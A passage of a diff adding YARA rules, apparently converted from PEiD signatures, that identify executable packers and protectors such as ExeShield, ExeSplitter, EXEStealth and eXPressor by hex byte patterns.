+        description = "[ExeSafeguard v1.0 -> simonzh (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF BA A3 22 3F 9A C0 60 EB 4D EB 47 DF 69 4E 58 DF 59 79 F3 EB 01 DF 78 EE DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 8D B5 EE 19 40 00 EB 47 EB 47 DF 69 4E 58 DF 59 7A EE EB 01 DF 7B E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF 22 3F 9A C0 8B FE EB 4C EB 47 DF 69 4E 58 DF 59 74 F2 EB 01 DF 75 ED 0F 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 B9 2B CB 00 00 EB 4B EB 47 DF 69 4E 58 DF 59 78 EF}
+    condition:
+        $a
+}
+
+rule PEiD_00649_ExeShield_3_6____www_exeshield_com_
+{
+    meta:
+        description = "[ExeShield 3.6 -> www.exeshield.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00650_ExeShield_Cryptor_1_3RC____Tom_Commander_
+{
+    meta:
+        description = "[ExeShield Cryptor 1.3RC -> Tom Commander]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a
+}
+rule PEiD_00651_ExeShield_Protector_V3_6____www_exeshield_com_
+{
+    meta:
+        description = "[ExeShield Protector V3.6 -> www.exeshield.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+    condition:
+        $a
+}
+
+rule PEiD_00652_ExeShield_v3_7____ExeShield_Team__h__
+{
+    meta:
+        description = "[ExeShield v3.7 -> ExeShield Team (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F 8C B9 0A FC EC E4 82 97 AE 0F 18 D2 47 1B 65 EA 46 A5 FD 3E 9D 75 2A 62 80 60 F9 B0 0D E1 AC 12 0E 9D 24 D5 43 CE 9A D6 18 BF 22 DA 1F 72 76 B0 98 5B C2 64 BC AE D8}
+    condition:
+        $a
+}
+
+rule PEiD_00653_ExeSmasher_vx_x_
+{
+    meta:
+        description = "[ExeSmasher vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+    condition:
+        $a
+}
+
+rule PEiD_00654_ExeSplitter_1_2____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.2 -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE 03 76 3C 8D 76 18 8D 76 60 8B 36 03 F3 56 8B 76 20 03 F3 33 D2 8B C6 8B 36 03 F3 8B 7D 08 B9 0E 00 00 00 FC F3 A6 0B C9 75 02 EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_00655_ExeSplitter_1_3__Split_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 08 12 40 00 E8 66 FE FF FF 55 50 8D 9D 81 11 40 00 53 8D 9D 21 11 40 00 53 6A 08 E8 76 FF FF FF 6A 40 68 00 30 00 00 68 00 01 00 00 6A 00 FF 95 89 11 40 00 89 85 61 10 40 00 50 68 00 01 00 00 FF 95 85 11 40 00 8D 85 65 10 40 00 50 FF B5 61 10 40 00 FF 95 8D 11 40 00 6A 00 68 80 00 00 00 6A 02 6A 00 ?? ?? ?? ?? 01 1F 00 FF B5 61 10 40 00 FF 95 91 11 40 00 89 85 72 10 40 00 6A 00 8D ?? ?? ?? ?? 00 50 FF B5 09 10 40 00 8D 85 F5 12 40 00 50 FF B5 72 10 40 00 FF 95 95 11 40 00 FF B5 72 10 40 00 FF 95 99 11 40 00 8D 85 0D 10 40 00 50 8D 85 1D 10 40 00 50 B9 07 00 00 00 6A 00 E2 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00656_ExeSplitter_1_3__Split_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC]"
+        ep_only = "true"
+    strings:
+        $a = {E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 76 63 45 72 30 31 31 2E 74 6D 70 00 00 00 00 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 85 C0 0F 84 5F 02 00 00 8B 48 30 80 39 6B 74 07 80 39 4B 74 02 EB E7 80 79 0C 33 74 02 EB DF 8B 40 18 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00657_ExeSplitter_1_3__Split_Crypt_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64}
+    condition:
+        $a
+}
+
+rule PEiD_00658_ExeSplitter_1_3__Split_Crypt_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 05 10 40 00 B9 ?? ?? ?? ?? 8D 85 1D 10 40 00 80 30 66 40 E2 FA 8F 98 67 66 66 ?? ?? ?? ?? ?? ?? ?? 66}
+    condition:
+        $a
+}
+
+rule PEiD_00659_ExeStealth____WebToolMaster_
+{
+    meta:
+        description = "[ExeStealth -> WebToolMaster]"
+        ep_only = "false"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00660_EXEStealth_2_75____WebtoolMaster_
+{
+    meta:
+        description = "[EXEStealth 2.75 -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_00661_EXEStealth_2_76_Unregistered____WebtoolMaster_
+{
+    meta:
+        description = "[EXEStealth 2.76 Unregistered -> WebtoolMaster]"
+        ep_only = "false"
+    strings:
+        $a = {EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20}
+    condition:
+        $a
+}
+rule PEiD_00662_ExeTools_COM2EXE_
+{
+    meta:
+        description = "[ExeTools COM2EXE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+    condition:
+        $a
+}
+
+rule PEiD_00663_ExeTools_v2_1_Encruptor_by_DISMEMBER_
+{
+    meta:
+        description = "[ExeTools v2.1 Encruptor by DISMEMBER]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+    condition:
+        $a
+}
+rule PEiD_00664_EXE______________Liuli_
+{
+    meta:
+        description = "[Convert Base64 to ASCII RVhFw47DhMK8w77CusOPwrLCosOGw7cgLT4gTGl1bGk=]"
+        ep_only = "false"
+    strings:
+        $a = {E8 53 03 00 00 8B F0 56 56 E8 98 03 00 00 8B C8}
+    condition:
+        $a
+}
+
+
+rule PEiD_00665_eXPressor_1_0_beta____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.0 beta -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+rule PEiD_00666_eXPressor_1_0_beta____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.0 beta -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 77 20 3D 20 30 78 25 30 34 78 20 20 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 00 00 00 00 00 00 42 61 64 20 70 6F 69 6E 74 65 72 3A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 45 72 72 6F 72 3A 00 00 54 68 65 20 25 68 73 20 66 69 6C 65 20 69 73 20 0A 6C 69 6E 6B 65 64 20 74 6F 20 6D 69 73 73 69 6E 67 20 65 78 70}
+    condition:
+        $a
+}
+
+rule PEiD_00667_eXPressor_1_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+    condition:
+        $a
+}
+rule PEiD_00668_eXPressor_1_2____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor 1.2 -> CGSoftLabs (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+    condition:
+        $a
+}
+
+rule PEiD_00669_eXPressor_1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.2 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00670_eXPressor_1_2_0_Beta_PE_Packer_
+{
+    meta:
+        description = "[eXPressor 1.2.0 Beta PE Packer]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00671_eXPressor_1_2_0b_
+{
+    meta:
+        description = "[eXPressor 1.2.0b]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+    condition:
+        $a
+}
+
+rule PEiD_00672_eXPressor_1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.3 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00673_eXPressor_1_4_5_1____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+    condition:
+        $a
+}
+
+rule PEiD_00674_eXPressor_1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14}
+    condition:
+        $a
+}
+
+rule PEiD_00675_eXPressor_1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14 89 4D CC E9 97 04 00 00 C7 05 10 ?? ?? 00 01 00 00 00 ?? ?? 68 54 ?? ?? 00 68 18 ?? ?? 00 6A 00 FF 15 E4 ?? ?? 00 83 7D 0C 01 74 04 83 65 08 00 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 EC 68 04 01 00 00 FF 75 EC FF 75 08 FF 15 DC ?? ?? 00 8B 4D EC 8D 44 01 FF 89 45 AC 8B 45 AC 0F BE 00 83 F8 5C 74 09 8B 45 AC 48 89 45 AC EB EC 8B 45 AC 40 89 45 AC 8B 45 AC 2B 45 EC 89 45 B0 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 FC 8B 4D B0 8B 75 EC 8B 7D FC 8B C1 C1 E9 02}
+    condition:
+        $a
+}
+
+rule PEiD_00676_eXpressor_v1_0____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.0 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13}
+    condition:
+        $a
+}
+
+rule PEiD_00677_eXPressor_V1_0____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.0 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00678_eXpressor_v1_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00679_eXPressor_v1_2____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.2 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00680_eXPressor_v1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.2 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00681_eXpressor_v1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.2 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76}
+    condition:
+        $a
+}
+
+rule PEiD_00682_eXPressor_v1_2_0b_
+{
+    meta:
+        description = "[eXPressor v1.2.0b]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15 ?? ?? ?? 00 8D 84 05 EF FE FF FF 89 85 38 FE FF FF 8B 85 38 FE FF FF 0F BE 00 83 F8 5C}
+    condition:
+        $a
+}
+
+rule PEiD_00683_eXPressor_v1_3____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.3 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+    condition:
+        $a
+}
+
+rule PEiD_00684_eXPressor_v1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.3 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00685_eXPressor_V1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.3 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+    condition:
+        $a
+}
+
+rule PEiD_00686_eXPressor_v1_4____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.4 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+    condition:
+        $a
+}
+
+rule PEiD_00687_eXPressor_v1_4____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.4 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {65 58 50 72 2D 76 2E 31 2E 34 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00688_eXpressor_v1_4_5____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.4.5 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00689_eXpressor_v1_4_5____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.4.5 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 DC 00 F3 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00690_eXPressor_v1_4_5_1____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.4.5.1 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 89 4D CC}
+    condition:
+        $a
+}
+rule PEiD_00691_eXPressor_V1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+    condition:
+        $a
+}
+rule PEiD_00692_eXPressor_V1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C}
+    condition:
+        $a
+}
+rule PEiD_00693_eXPressor_V1_4_5_x____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.x -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 ?? ?? ?? 00 A1 ?? ?? ?? 00 B9 ?? ?? ?? 00 2B 48 18 89 0D ?? ?? ?? 00 83 3D}
+    condition:
+        $a
+}
+
+rule PEiD_00694_eXPressor_v1_5_0_1__Options____Light__Full_support__CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.5.0.1 (Options -> Light, Full support) CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? 02 00 00 53 56 57 83 A5 ?? FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35}
+    condition:
+        $a
+}
+rule PEiD_00695_eXPressor_v1_5_0_1__Options____Protection__CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.5.0.1 (Options -> Protection) CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {5E 00 00 80 00 00 00 68 91 5D D4 27 35 C5 5A 4C A5 40 48 C4 08 4E C0}
+    condition:
+        $a
+}
+
+rule PEiD_00696_eXPressor_v1_5x____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.5x -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 58 02 00 00 53 56 57 83 A5 CC FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C 01 75 23}
+    condition:
+        $a
+}
+rule PEiD_00697_eXPressor_PacK_V1_5_0_X____CGSoftLabs___Sign_by_fly_
+{
+    meta:
+        description = "[eXPressor.PacK V1.5.0.X -> CGSoftLabs ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_00698_eXPressor_Protection_1_5_0_X____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor.Protection 1.5.0.X -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02}
+    condition:
+        $a
+}
+rule PEiD_00699_eXPressor_Protection_V1_5_0_X____CGSoftLabs___Sign_by_fly_
+{
+    meta:
+        description = "[eXPressor.Protection V1.5.0.X -> CGSoftLabs ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+    condition:
+        $a
+}
+rule PEiD_00700_EZIP_v1_0_
+{
+    meta:
+        description = "[EZIP v1.0]"
+        ep_only = "true"
+    strings:
